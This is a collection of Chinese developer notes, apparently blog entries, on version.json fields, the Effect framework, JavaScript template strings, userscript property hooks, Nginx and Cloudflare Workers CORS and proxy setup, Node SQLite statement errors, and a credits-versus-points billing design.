原型链全部保留,也适合在 hook 网络返回数据时做在线 URL 替换。 适用场景对比场景 推荐方式简单纯字符串对象 JSON.parse(JSON.stringify(e).replaceAll(...))含 Date / Map / Set 的对象 deepReplace() 递归遍历只替换字面字符串(无转义歧义) replaceAll 替代正则hook 网络数据在线修改 deepReplace()
version.json 结构设计:客户端更新检查和热更新
version.json 没有统一标准,但根据用途不同有一套通用的最佳实践字段设计。 最简结构 { "version": "1.0.0" }适合油猴脚本、小工具。只做版本对比时够用。 推荐通用结构 { "version": "1.2.3", "build": 10203, "name": "MyApp", "releaseDate": "2026-05-16T10:00:00Z", "description": "修复登录问题和性能优化", "forceUpdate": false, "downloadUrl": "https://cdn.example.com/app-1.2.3.zip", "sha256": "a1b2c3d4..." }字段 作用version 语义化版本号,方便理解build 数字版本,方便代码比较(newBuild > currentBuild)forceUpdate 是否强制更新(旧版本无法继续使用)sha256 文件校验,防止下载被篡改downloadUrl 客户端直接取用,不用硬编码Electron / 桌面应用更新 { "version": "2.1.0", "minimumVersion": "2.0.0", "forceUpdate": true, "url": "https://cdn.example.com/app-2.1.0.exe", "sha256": "xxxxx", "size": 104857600, "releaseNotes": [ "新增插件系统", "修复内存泄漏问题" ] }minimumVersion 表示低于此版本的客户端必须强制升级,配合 forceUpdate: true 使用。size 可用于计算下载进度。 前端静态资源版本控制 { "version": "2026.05.16", "commit": "8f3ab21", "buildTime": 1747372000, "assets": { "app.js": "a1b2c3", "style.css": "d4e5f6" } }前端通过定期 fetch('/version.json') 检测资源 hash 变化,自动提示用户刷新。commit 和 buildTime 方便追踪具体是哪次 CI 构建。 油猴脚本自动更新 { "version": "1.0.5", "meta": "https://example.com/script.meta.js", "script": "https://example.com/script.user.js" }脚本内: GM_xmlhttpRequest({ url: "https://example.com/version.json", onload(res) { const remote = JSON.parse(res.response); if (remote.version > GM_info.script.version) { GM_notification("有新版本 " + remote.version); } } });远程配置 + Feature Flags { "version": "1.3.0", "env": "production", "api": "https://api.example.com", "featureFlags": { "newUI": true, "betaFeature": false } }这已经接近"远程配置中心",避免了把 API 地址硬编码进客户端。 版本号规范建议 推荐 语义化版本:变更类型 示例不兼容的 API 变更 2.0.0新增功能(向下兼容) 1.3.0Bug 修复 1.3.1避免用纯数字 "version": 15——后期无法区分是大版本还是补丁。 Python 读写 version.json import json# 读取 with open("version.json", "r", encoding="utf-8") as f: data = json.load(f)# 修改后写回(覆盖) data["version"] = "1.2.4" with open("version.json", "w", encoding="utf-8") as f: json.dump(data, f, ensure_ascii=False, indent=2)不要用 open("file", "rw") — Python 不支持 "rw" 模式,会报 ValueError: must have exactly one of create/read/write/append mode。读写合一用 "r+" 加 f.seek(0) + f.truncate(),但最简单的方案是分开读和写。
Effect:TypeScript 函数式副作用框架,类型安全的异步与错误处理
Effect 是一个偏函数式(FP)的 TypeScript 框架,类似 Scala 生态的 ZIO,核心目标是用类型系统统一管理:副作用、错误处理、依赖注入和并发控制。 核心类型:Effect<A, Error, R> Effect.Effect<User, NotFoundError, Database>三个泛型参数分别是:A — 成功时的返回值类型 Error — 可能抛出的错误类型(编译期已知) R — 运行时需要注入的依赖环境相比普通 async/await,错误类型不再是 unknown,依赖关系从运行时隐式变为类型系统显式。 四个核心能力 类型安全的错误处理 // 传统方式:不知道会抛什么 try { await fetchUser(id); } catch (e) { }// Effect 方式:错误类型在签名里 const fetchUser = (id: string): Effect.Effect<User, NotFoundError | DbError, Database> => Effect.gen(function* () { const db = yield* Database; return yield* db.findUser(id); });依赖注入 const Database = Context.Tag<Database>("Database");// 运行时注入具体实现 Effect.runPromise( program.pipe( Effect.provide(DatabaseLive) ) );并发控制 // 限制并发数为 5 await Effect.runPromise( Effect.all(tasks, { concurrency: 5 }) );内置 fiber(轻量协程)、timeout、retry、race、cancellation,都是一等公民。 Resource 管理(自动释放) const withDb = Effect.acquireRelease( Effect.sync(() => new DbConnection()), (conn) => Effect.sync(() => conn.close()) );不用手写 try/finally,连接/文件/WebSocket 用完自动关闭。 基础用法示例 import { Effect, pipe } from "effect";const program = pipe( Effect.succeed(1), Effect.map(n => n + 1), Effect.flatMap(n => Effect.succeed(n * 2)) );Effect.runPromise(program).then(console.log); // 4Generator 风格(更接近 async/await): const program = Effect.gen(function* () { const a = yield* Effect.succeed(1); const b = yield* Effect.succeed(a + 1); return b * 2; });与其他框架对比框架 风格 适合场景Express / Hono 极简 快速 APINestJS OOP + DI 企业级 WebRxJS 响应式流 事件流处理Effect FP + 类型系统 复杂异步系统适合的场景 Effect 的学习曲线较陡(大量 pipe、flatMap、generator),不适合小型项目。适合:大型 Node.js 后端服务 AI Agent / 工作流调度系统 微服务(高并发 + 复杂错误处理) CLI 框架 爬虫调度核心标准:"复杂异步 + 大量错误路径"——这正是 Effect 最能体现价值的地方。如果只是 await fetch(),用 Promise 就够了。
JS 模板字符串里包含反引号:三种不转义方案
模板字符串内部出现反引号时,必须转义成 \`。内容量大或来自外部时,转义很烦。 方案一:数组 join(最稳) 完全不需要考虑转义,任意字符都行: const sql = [ "SELECT * FROM `users`", "WHERE `status` = 'active'", "AND `name` LIKE `%test%`", ].join('\n');大段 HTML、SQL、Prompt 推荐这种写法——可读性好,又不怕特殊字符。 方案二:String.raw(不处理转义序列) const pattern = String.raw`\d+\.\d+`; // 等价于 "\\d+\\.\\d+" // 不需要手动双反斜杠在 String.raw 里,反斜杠不被解释为转义符,但反引号仍然需要转义,所以它主要解决的是 \n、\t 这类转义序列问题,而不是反引号嵌套问题。 const py = String.raw` print("hello") # 反引号仍需 \` `;方案三:外部文件(大段文本首选) // Vite / webpack 环境 import template from './prompt.txt?raw'; import html from './template.html?raw';// Node.js 环境 const template = fs.readFileSync('./prompt.txt', 'utf8');AI Prompt、HTML 模板、大段代码存外部文件,完全不需要处理引号或转义问题,也方便单独编辑和版本追踪。 油猴脚本里 hook window 属性 油猴脚本里经常需要拦截页面的某个全局变量或 API,Object.defineProperty 比整体 Proxy 更可靠: // hook 单个属性 const rawFetch = window.fetch;Object.defineProperty(window, 'fetch', { configurable: true, get() { return function(...args) { console.log('fetch called:', args[0]); return rawFetch.apply(this, args); }; } });整体 new Proxy(window, ...) 只是创建了一个代理对象,不会改变其他代码里访问的真实 window,所以通常没有实际效果。Object.defineProperty 是直接修改全局对象,才能真正拦截到。 hook document.cookie const cookieSetter = Document.prototype.__lookupSetter__('cookie'); const cookieGetter = Document.prototype.__lookupGetter__('cookie');Object.defineProperty(Document.prototype, 'cookie', { configurable: true, get() { return cookieGetter.call(this); }, set(val) { console.log('cookie set:', val); cookieSetter.call(this, val); } });安全读取 cookie 值 正则匹配 cookie 时,结尾分号可能没有(最后一项),用 [^;]* 比 .*?; 更稳: function getCookie(name) { const match = document.cookie.match( new RegExp(`${name}=([^;]*)`) ); return match ? match[1] : undefined; }[^;]* 含义:匹配零个或多个不是分号的字符,不管 cookie 是不是最后一项都能正确提取。
JS 模板字符串含反引号的处理与 Object.defineProperty Hook window 属性
模板字符串里包含反引号 反引号是模板字符串的开始/结束符,中间再出现反引号会直接语法错误: // ❌ 语法错误 ` asdasd`` `方案一:转义(最标准) const str = `asd\`asd`;方案二:String.raw(不处理转义) const str = String.raw`asd\`asd`;String.raw 是标签模板,适合存放正则、shell 命令、SQL、Prompt 等原始文本,不会解释 \n、\t 等转义序列。 方案三:数组 join(不用转义,推荐) const s = [ '`', 'asdasd``', '`' ].join('\n');大型项目里代码生成器常用这种方式,完全不需要考虑转义问题,任意字符都行。 方案四:外部文件 内容包含大量反引号、${} 或换行的情况,最推荐直接存外部文件: // Vite / 现代构建工具 import txt from './prompt.txt?raw';// Node.js const txt = fs.readFileSync('./prompt.txt', 'utf8');AI prompt、HTML 模板、大段 SQL 都适合这种做法。 unsafeWindow 与 Proxy 油猴脚本里直接 window = unsafeWindow 会在某些环境报错,推荐用 Proxy: const windowProxy = new Proxy(unsafeWindow, { get(target, prop) { return target[prop]; }, set(target, prop, value) { target[prop] = value; return true; } });关键限制:new Proxy(window) 只影响局部变量 windowProxy,其他代码里的 window.xxx 仍然访问原生 window,不会走代理。真正要"全局 hook"必须用 Object.defineProperty。 Object.defineProperty Hook window 属性 这是浏览器里最常用的 hook 方式,直接修改全局对象的属性描述符: 监听自定义属性的 get/set let value;Object.defineProperty(window, 'myToken', { configurable: true, get() { console.log('GET myToken'); return value; }, set(v) { console.log('SET myToken', v); value = v; } });其他脚本只要访问 window.myToken 就会触发上面的拦截器。 Hook fetch const rawFetch = window.fetch;Object.defineProperty(window, 'fetch', { configurable: true, get() { return function (...args) { console.log('fetch called:', args[0]); return rawFetch.apply(this, args); }; } });Hook document.cookie const rawSetter = Document.prototype.__lookupSetter__('cookie');Document.prototype.__defineSetter__('cookie', function (val) { console.log('cookie set:', val); rawSetter.call(this, val); });通用 hook 工具函数 function hookGlobal(name) { let value; Object.defineProperty(window, name, { configurable: true, get() { console.log('GET', name); return value; }, set(v) { console.log('SET', name, v); value = v; } }); }hookGlobal('abc');操作前先检查 configurable 部分内置属性(location、top、self、document)不可重定义,直接操作会抛错: const desc = Object.getOwnPropertyDescriptor(window, 'fetch'); console.log(desc.configurable, desc.writable);configurable: true 才能用 defineProperty 重新定义;writable: true 才能直接赋值覆盖。 Proxy vs Object.defineProperty 选哪个场景 推荐方式Hook 单个全局 API(fetch、XHR) Object.defineProperty局部作用域内代理对象 Proxy监控任意属性读写 Proxy(但不适用于真正的 window)跨越沙箱访问页面 window unsafeWindow + Proxy 或 script 注入整体代理 window 在浏览器里基本行不通,原生 window 是宿主对象,有大量不可配置属性。工程上的最佳实践是 hook 关键 API(fetch、XMLHttpRequest、WebSocket、JSON.parse)而不是整体代理。
JavaScript 模板字符串进阶:反引号转义、String.raw、标签模板
反引号转义 模板字符串用反引号包裹,内部出现反引号需要转义: // 错误:会产生语法错误 const str = `hello `world``;// 正确:用反斜杠转义 const str = `hello \`world\``; // 输出:hello `world`String.raw:禁止转义处理 String.raw 是内置标签函数,使反斜杠不被解释为转义字符: // 普通模板:\n 被处理为换行 const a = `line1\nline2`;// String.raw:\n 保持原样 const b = String.raw`line1\nline2`; // 输出:line1\nline2(字面量)适合场景: // Windows 路径(不用写 \\) const path = String.raw`C:\Users\admin\Desktop`;// 正则(不用双重转义) const pattern = new RegExp(String.raw`\d{4}-\d{2}-\d{2}`);// Prompt / Python 代码片段 const prompt = String.raw` 请用 Python 处理:print("hello\nworld") `;数组 join:最稳的多行字符串 当内容包含大量特殊字符时,数组 join 完全避免转义问题: const html = [ '<script>', 'console.log(`hello`)', '</script>' ].join('\n');缺点是没有插值语法,需要手动拼接变量。 标签模板(Tagged Template) 模板字符串前加函数名即为标签模板,函数接收字符串片段和插值变量: function highlight(strings, ...values) { return strings.reduce((result, str, i) => result + str + (values[i] !== undefined ? `<b>${values[i]}</b>` : ''), '' ); }const name = 'World'; const msg = highlight`Hello ${name}!`; // 输出:Hello <b>World</b>!标签模板的 strings.raw 属性包含未处理转义的原始字符串片段,这是 String.raw 的实现原理。 实际应用:库 用途styled-components CSS-in-JSgraphql-tag (gql) GraphQL 查询lit-html (html) Web Components 模板sql (SQL 防注入) 参数化查询外部文件替代超长模板 模板字符串不适合存放超长内容(HTML、SQL、Prompt)。更好的方式: // Node.js:读取外部文件 const template = fs.readFileSync('./templates/email.html', 'utf8');// Vite/Webpack:作为原始文本导入 import template from './templates/email.html?raw';规则:代码逻辑放 JS,内容放文件,不要混在一起。
Nginx 反向代理开启 CORS:Access-Control 配置与 OPTIONS 预检处理
前后端分离时,在 Nginx 反向代理层统一添加 CORS 头,比在每个后端框架里单独配置更集中可控。 基础配置 server { listen 80; server_name api.example.com; location / { proxy_pass http://backend-server:8002; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; # CORS 响应头 add_header Access-Control-Allow-Origin * always; add_header Access-Control-Allow-Methods "GET, POST, PUT, DELETE, OPTIONS, PATCH" always; add_header Access-Control-Allow-Headers "Authorization, Content-Type, Accept, X-Requested-With" always; # OPTIONS 预检请求直接返回 204 if ($request_method = OPTIONS) { return 204; } } }always 参数确保 CORS 头在 4xx/5xx 错误响应中也会附加。 带 Credentials 时不能用通配符 Access-Control-Allow-Origin: * 不能与 Access-Control-Allow-Credentials: true 同时使用,浏览器会拒绝: # 错误:浏览器拒绝 add_header Access-Control-Allow-Origin * always; add_header Access-Control-Allow-Credentials true always;需要改为动态匹配请求来源: add_header Access-Control-Allow-Origin $http_origin always; add_header Access-Control-Allow-Credentials true always; add_header Vary Origin always;Vary: Origin 告知缓存层不同 Origin 的响应不同,防止缓存污染。 多域名白名单:map 方案 允许特定域名列表访问(带 Credentials): map $http_origin $cors_origin { default ""; "~^https?://localhost(:\d+)?$" $http_origin; "~^https://app\.example\.com$" $http_origin; "~^https://admin\.example\.com$" $http_origin; }server { location /api/ { proxy_pass http://backend-server:8002; add_header Access-Control-Allow-Origin $cors_origin always; add_header Access-Control-Allow-Credentials true always; add_header Vary Origin always; add_header Access-Control-Allow-Methods "GET, POST, PUT, DELETE, OPTIONS" always; add_header Access-Control-Allow-Headers "Authorization, Content-Type" always; if ($request_method = OPTIONS) { return 204; } } }非白名单来源 $cors_origin 为空字符串,不会添加 CORS 头,浏览器拒绝跨域请求。 常见坑 proxy_pass 末尾斜杠影响路径 proxy_pass http://backend:8002; # /api/users → /api/users proxy_pass http://backend:8002/; # /api/users → //users(多了斜杠)后端已有 CORS 头导致重复 如果后端也返回了 CORS 头,Nginx 再叠加会导致响应中出现两个 Access-Control-Allow-Origin,浏览器拒绝。需要在后端关闭 CORS,统一由 Nginx 管理: proxy_hide_header Access-Control-Allow-Origin; add_header Access-Control-Allow-Origin $cors_origin always;
Nginx 反向代理 + 全局跨域:那些看着通了但其实拦了的坑
前后端分离项目上线,前端一直报跨域,可 Nginx 里明明写了 Access-Control-Allow-Origin *。折腾一圈才发现,跨域配置里有几个"看着通了但其实拦了"的隐蔽坑。 最小可用配置 先把最小骨架搭起来——反代到后端 + 全局放开 CORS: server { listen 80; server_name your-domain.com; location / { proxy_pass http://backend.example.com:8002; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; add_header Access-Control-Allow-Origin * always; add_header Access-Control-Allow-Methods "GET, POST, PUT, DELETE, OPTIONS, PATCH" always; add_header Access-Control-Allow-Headers "Authorization,Content-Type,Accept,Origin,User-Agent,DNT,Cache-Control,X-Requested-With,Token" always; if ($request_method = OPTIONS) { return 204; } } }这份能应付纯 API、无登录态的场景。要带 cookie 的话继续往下看,不然会直接被浏览器拦。 坑一:* 和 Allow-Credentials: true 不能共存 很多人从两份教程各抄一段,凑成: add_header Access-Control-Allow-Origin * always; add_header Access-Control-Allow-Credentials true always;浏览器规范明确禁止这种组合,直接跨域失败。 正确做法:把 * 换成 $http_origin 或白名单: add_header Access-Control-Allow-Origin $http_origin always; add_header Access-Control-Allow-Credentials true always; add_header Vary Origin always;坑二:Host 被写死 见过这种写法: proxy_set_header Host backend.example.com;后端如果基于 Host 做路由(Spring、Django 之类)或者生成回调 URL,就全乱套。改回: proxy_set_header Host $host;坑三:OPTIONS 只返回 204,没带 CORS 头 写了: if ($request_method = OPTIONS) { return 204; }有些浏览器要求预检响应本身也带跨域头,直接 return 204 就少一批头。解法是让 add_header 放在 if 之前——Nginx 的 add_header 会自动挂到最终响应上,只要不用 error_page 覆盖响应就行。 生产版本(推荐) 同时兼顾 cookie、白名单和预检: map $http_origin $cors_origin { default ""; "~^http://localhost:.*" $http_origin; "~^https://your-frontend\.com$" $http_origin; }server { listen 80; server_name your-domain.com; location / { proxy_pass http://backend.example.com:8002; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; add_header Access-Control-Allow-Origin $cors_origin always; add_header Access-Control-Allow-Credentials true always; add_header Access-Control-Allow-Methods "GET, POST, PUT, DELETE, OPTIONS, PATCH" always; add_header Access-Control-Allow-Headers "Authorization,Content-Type,Accept,Origin,User-Agent,DNT,Cache-Control,X-Requested-With,Token" always; add_header Vary Origin always; if ($request_method = OPTIONS) { return 204; } } }map 是精髓:预定义的域名才回响原 Origin,其它的会拿到空字符串,浏览器就自然拒绝。 一张表决定怎么选场景 推荐写法纯 API,无 cookie Allow-Origin *带 cookie / token map + $http_origin 白名单本地开发临时放开 Allow-Origin $http_origin一句话总结 CORS 卡住 90% 的时候都是这三件事:* 撞 Credentials、Host 写死、OPTIONS 没配好。抄配置前先想清楚要不要带 cookie。
Cloudflare Workers 开发指南:路由、反向代理、KV 存储和 TCP Socket
Cloudflare Workers 是部署在 Cloudflare 全球边缘节点上的无服务器运行环境,写 JavaScript/TypeScript 即可,无需管理服务器。 快速开始 npm create cloudflare@latest my-worker cd my-worker npm run dev # 本地调试 npm run deploy # 部署基础结构 export default { async fetch(request, env, ctx) { return new Response("hello world"); }, };路由处理 export default { async fetch(request) { const url = new URL(request.url); if (url.pathname === "/api/user") { return Response.json({ name: "soulock" }); } return new Response("404", { status: 404 }); }, };获取 query 参数: const name = url.searchParams.get("name");获取请求体: const data = await request.json();反向代理 export default { async fetch(request) { const url = new URL(request.url); const target = "https://example.com"; const targetUrl = new URL(url.pathname + url.search, target); const headers = new Headers(request.headers); headers.set("Host", targetUrl.host); const resp = await fetch(targetUrl.toString(), { method: request.method, headers, body: request.body, redirect: "follow", }); return new Response(resp.body, { status: resp.status, headers: resp.headers, }); }, };流式返回(AI 接口必须用这种写法): // 正确:保持流式 return new Response(resp.body, resp);// 错误:会阻塞到完整响应 const text = await resp.text();CORS 处理 function corsHeaders() { return { "Access-Control-Allow-Origin": "*", "Access-Control-Allow-Methods": "*", "Access-Control-Allow-Headers": "*", }; }export default { async fetch(request) { if (request.method === "OPTIONS") { return new Response(null, { headers: corsHeaders() }); } const resp = await fetch("https://example.com"); return new Response(resp.body, { status: resp.status, headers: { ...Object.fromEntries(resp.headers), ...corsHeaders() }, }); }, };环境变量 # wrangler.toml [vars] API_KEY = "xxx"代码里用 env.API_KEY。生产环境推荐用 secret(不写入代码): wrangler secret put API_KEYKV 存储 [[kv_namespaces]] binding = "MY_KV" id = "xxxx"await env.MY_KV.put("key", "value"); const value = await env.MY_KV.get("key");D1 数据库(SQLite) wrangler d1 create mydb[[d1_databases]] binding = "DB" database_name = "mydb" database_id = "xxxx"const result = await env.DB.prepare("SELECT * FROM users").all();定时任务 export default { async scheduled(event, env, ctx) { // 定时执行的逻辑 }, };[triggers] crons = ["*/5 * * * *"]TCP Socket Workers 支持主动发起 TCP 连接(不能监听 TCP): import { connect } from "cloudflare:sockets";const socket = connect({ hostname: "example.com", port: 80 }); const writer = socket.writable.getWriter(); await writer.write(new TextEncoder().encode("GET / HTTP/1.1\r\nHost: example.com\r\n\r\n")); writer.releaseLock(); return new Response(socket.readable);常见用途:WebSocket → TCP 隧道,代理 Redis、PostgreSQL 等 TCP 协议。 Workers 不能替代大流量 TCP 服务(有连接数和执行时间限制),适合轻量中转。 推荐:Hono 框架 npm i honoimport { Hono } from "hono";const app = new Hono();app.get("/", (c) => c.text("hello")); app.get("/user", (c) => c.json({ name: "soulock" }));// 反向代理 app.all("*", async (c) => { const url = new URL(c.req.url); const target = "https://example.com" + url.pathname + url.search; const resp = await fetch(target, { method: c.req.method, headers: c.req.raw.headers, body: c.req.raw.body }); return new Response(resp.body, resp); });export default app;适合与不适合的场景适合 不适合API 网关 / 鉴权 大型 CPU 运算AI 接口中转 ffmpeg / 视频编码Webhook / Bot Puppeteer反向代理 本地文件读写短链接 / 边缘缓存 高并发大流量 VPNWorkers 没有 fs、child_process、net 等 Node.js 原生模块,运行在沙盒环境中。
Cloudflare Workers 入门:从 hello world 到 KV / D1
Cloudflare Workers 本质上是"边缘 JS/TS 函数"——写一段代码,部署到全球 300 多个节点,用户就近访问。适合做 API 代理、Webhook、AI 接口中转、鉴权网关,比自建 Nginx 或买 VPS 省事。 项目起步 一个命令拉起脚手架: npm create cloudflare@latest my-worker cd my-worker npm run dev # 本地起 wrangler dev npm run deploy # 部署到生产第一次部署会让你登录: npx wrangler login最小骨架 新版模块化写法: export default { async fetch(request, env, ctx) { return new Response("hello world"); }, };访问 https://<name>.<account>.workers.dev 就能看到。 路由分发 原生没有路由框架,URL 手动分: export default { async fetch(request) { const url = new URL(request.url); if (url.pathname === "/api/user") { return Response.json({ name: "alice", age: 18 }); } if (url.pathname === "/health") { return new Response("ok"); } return new Response("Not Found", { status: 404 }); }, };要更完善的路由体验就上 Hono: import { Hono } from "hono"; const app = new Hono(); app.get("/api/user", (c) => c.json({ name: "alice" })); export default app;读取请求 // query string const url = new URL(request.url); const name = url.searchParams.get("name");// JSON body const data = await request.json();// 表单 const form = await request.formData();转发外部 API(最常见用法) export default { async fetch(request, env) { const resp = await fetch("https://api.openai.com/v1/models", { headers: { Authorization: `Bearer ${env.OPENAI_API_KEY}` }, }); return new Response(resp.body, resp); }, };常见用途:藏 API Key、破跨域、加限流、加缓存、AI 接口中转。Key 千万别写死在代码里,走 wrangler secret。 KV:类 Redis 键值 wrangler.toml: [[kv_namespaces]] binding = "MY_KV" id = "xxxxxxxx"代码: await env.MY_KV.put("username", "alice"); const v = await env.MY_KV.get("username"); await env.MY_KV.delete("username");KV 是最终一致(全球复制有几秒延迟),做缓存 / 配置 / session 都很合适。 D1:SQLite [[d1_databases]] binding = "DB" database_name = "mydb" database_id = "xxxxxxxx"用法: const rows = await env.DB .prepare("SELECT * FROM users WHERE id = ?") .bind(userId) .all();参数化查询是标配,别拼字符串——同样有 SQL 注入。 环境变量 vs Secret 普通变量写 wrangler.toml: [vars] APP_NAME = "my-app"敏感 key 用 secret,不进代码库: npx wrangler secret put OPENAI_API_KEY两种都通过 env.XXX 访问。 免费额度和局限免费 10 万次请求/天,付费 10 美元/月起 单请求 CPU 时间限制(免费 10ms,付费 50ms+,最高 5 分钟) 不能开 socket、不能持久保存本地文件 Node.js 内置模块要靠 nodejs_compat 兼容标志一句话总结 Workers = 全球边缘 JavaScript。npm create cloudflare@latest 起步,fetch 转发是 90% 用例,配上 KV/D1 就能扛住一个中等 API 项目。
Node 内置 SQLite 报 statement has been finalized 的原因
Node 22 开始有了内置的 node:sqlite,同步 API 用起来非常顺。但启动时挂: ExperimentalWarning: SQLite is an experimental feature Failed to start server Error: statement has been finalized at readDeviceStates (src/lib/database.ts:76:38) ... code: 'ERR_INVALID_STATE'这个错的字面意思很明确:你在一个已经 finalize() 过的 prepared statement 上继续调用 all() / get() / iterate()。 三种最常见的成因 1. 手动过早 finalize const stmt = db.prepare("SELECT * FROM devices"); try { return stmt.all(); } finally { stmt.finalize(); }看上去正确。但如果 stmt.all() 返回的是迭代器(iterate())而不是数组(all()),外层还在懒消费,finalize 一走就崩。用 all() 拿到具体数组的写法没这个问题。 2. 用了 using 自动 finalize(Node 22 的新语法) export function readDeviceStates() { using stmt = db.prepare("SELECT * FROM device_states"); return stmt.iterate(); // ← 迭代器,出了作用域 stmt 就被 finalize 了 }using 借用了 TC39 的 Explicit Resource Management 提案,出作用域时会自动调 [Symbol.dispose](),也就是 finalize()。返回迭代器给外部继续用,外部一 next() 就炸。 规则:using + iterate() 不能混,要么用 all() 一次拿全部再返回,要么调用方也 using。 3. 模块级缓存了 stmt // 模块顶部 const readStmt = db.prepare("SELECT * FROM device_states");export function readDeviceStates() { return readStmt.all(); }看着挺合理——避免每次 prepare 的开销。但代码其它地方可能:单元测试用 db.close() 关掉了数据库(stmt 一起 finalize) 有热重载/HMR 重新 import 了模块(旧 stmt 引用还留着) 显式调用了 readStmt.finalize() 想清理,然后忘了之后再走这个函数就 ERR_INVALID_STATE。 推荐写法 每次现 prepare,让 GC 管理: export function readDeviceStates() { const stmt = db.prepare("SELECT * FROM device_states"); return stmt.all(); // 立刻取完,不返回 iterator }现代 SQLite 的 prepare 开销很小,不需要为性能提前优化。 要缓存的话,配套复用而不是复用 + finalize: const cache = new Map<string, ReturnType<typeof db.prepare>>();function s(sql: string) { let stmt = cache.get(sql); if (!stmt) { stmt = db.prepare(sql); cache.set(sql, stmt); } return stmt; }// 用: s("SELECT * FROM device_states").all();不在缓存生命周期外手动 finalize。数据库 close 时统一 cache.clear()。 要用 using 就一次性拿完数据: export function readDeviceStates() { using stmt = db.prepare("SELECT * FROM device_states"); return stmt.all(); // 数组,可以安全跨作用域 }一句话总结 statement has been finalized = 你正在用一个死掉的 stmt。别返回迭代器给作用域外、别在模块级缓存又手动 finalize。改成"每次 prepare + all()"最省心。
Node.js SQLite statement has been finalized 错误:原因与修复
Error: statement has been finalized at readDeviceStates (src/lib/database.ts:76:38) { code: 'ERR_INVALID_STATE' }这个错误来自 Node.js 22+ 的内置 node:sqlite 模块,对已经调用了 finalize() 的 StatementSync 对象再次操作时抛出。 原因一:全局缓存 Statement 被意外 finalize // 错误写法:模块级共享 statement const readStmt = db.prepare("SELECT * FROM device_states");export function readDeviceStates() { return readStmt.all(); // 若 readStmt 被 finalize 则崩溃 }如果在某处调用了 readStmt.finalize(),后续所有使用都会报错。 原因二:using 关键字自动释放 Node.js SQLite 支持 using 声明(Explicit Resource Management),离开作用域后自动调用 finalize(): // 错误:返回迭代器后 stmt 已被 finalize function getRows() { using stmt = db.prepare("SELECT * FROM logs"); return stmt.iterate(); // 离开函数后 stmt 自动 finalize,迭代器失效 }修复:每次使用时重新 prepare // 正确写法:每次都 prepare,不缓存 export function readDeviceStates() { const stmt = db.prepare("SELECT * FROM device_states"); const result = stmt.all(); stmt.finalize(); return result; }或者更简洁,不手动调用 finalize(Node.js 会在 GC 时自动释放): export function readDeviceStates() { return db.prepare("SELECT * FROM device_states").all(); }需要性能优化时:用对象包装 如果 prepare 开销较大,可以在模块初始化时准备,但确保 finalize 只在明确不再使用时调用: class DeviceRepository { private readStmt: StatementSync; constructor(private db: DatabaseSync) { this.readStmt = db.prepare("SELECT * FROM device_states"); } getAll() { return this.readStmt.all(); } close() { this.readStmt.finalize(); this.db.close(); } }生命周期由对象管理,close() 明确释放资源。 ExperimentalWarning 的处理 (node:2436) ExperimentalWarning: SQLite is an experimental featurenode:sqlite 在 Node.js 22 中是实验性功能,可以用以下方式消除警告: node --no-experimental-warnings server.js或在代码中: process.removeAllListeners('warning');生产环境建议关注 Node.js 版本更新,等待 SQLite 模块稳定。
平台积分体系设计:Credits(余额)与 Points(积分)的区别与应用
Credits vs Points 是两套独立系统特性 Credits Points本质 消费余额(货币) 生态贡献积分可消费 是(API 调用扣费) 否可提现 是(换回 USDC/法币) 否是否等价法币 基本等价 不等价数量变化 实时增减 只增(或少量减)未来用途 功能消费 Token 空投、VIP、治理Credits:平台货币 用户充值后获得 Credits,Credits 直接用于消费: 充值 100 USDT = 获得 100 Credits 调用 API 消费 2 Credits → 余额 98 Credits 提现 50 Credits → 取回约 50 USDTCredits 必须与真实价值挂钩,用户信任建立在 1 Credit ≈ 1 USD 的基础上。 Points:生态积分 Points 不直接等于钱,是平台的"长期价值记录": 充值 100 USDT → +100 Points API 消费 20 USD → +20 Points 邀请好友充值 → +邀请奖励 Points 每日活跃 → +少量 PointsPoints 积累后可以用于:VIP 等级解锁 折扣和返佣 Token 空投快照 DAO 治理权重 锁仓质押防止套利:提现扣回 Points 如果充值得 Points、提现不扣,用户会利用套利: 1. 充值 1000 USDT → 得 1000 Credits + 1000 Points 2. 立刻提现 1000 Credits 3. 净得:0 Credits(本金拿回)+ 1000 Points(免费)解决方案:提现时扣回相应 Points: 提现 1000 Credits → 余额 -1000 Credits,同时 Points -1000或者更稳健:Points 只按实际消费累计,充值/提现不影响 Points: 充值 → Credits+,Points 不变 消费 1 USD → Points +1 提现 → Credits-,Points 不变数据库设计 CREATE TABLE user_balance ( user_id BIGINT PRIMARY KEY, credits DECIMAL(18, 6) DEFAULT 0, -- 可消费余额 points BIGINT DEFAULT 0 -- 累计积分 );-- 消费记录 CREATE TABLE consumption_log ( id BIGINT AUTO_INCREMENT, user_id BIGINT, credits_used DECIMAL(18, 6), points_earned INT, action VARCHAR(100), created_at DATETIME );Points 用整数(无小数),Credits 用高精度小数(避免浮点误差)。 Credits 扣费保证原子性 Credits 扣费和 Points 增加应在同一事务中完成: @Transactional public void consumeCredits(Long userId, BigDecimal amount, String action) { // 检查余额 UserBalance balance = balanceMapper.selectForUpdate(userId); if (balance.getCredits().compareTo(amount) < 0) { throw new InsufficientCreditsException(); } // 扣 Credits balanceMapper.deductCredits(userId, amount); // 加 Points(按消费比例) long points = amount.longValue(); balanceMapper.addPoints(userId, points); // 记录消费日志 consumptionLogMapper.insert(userId, amount, points, action); }SELECT FOR UPDATE 防止并发扣款导致余额超扣。 首版设计建议Credits 优先实现,这是核心盈利结构 Points 首版只记录,不设兑换规则(避免承诺后反悔) 后期发 Token 时,用 Points 快照作为分配依据 积分比例(1 Credits 消费 = 多少 Points)后期可调,但不能追溯修改历史记录
Web3 AI API 平台设计:Credits、Points 与链上 Vault 合约
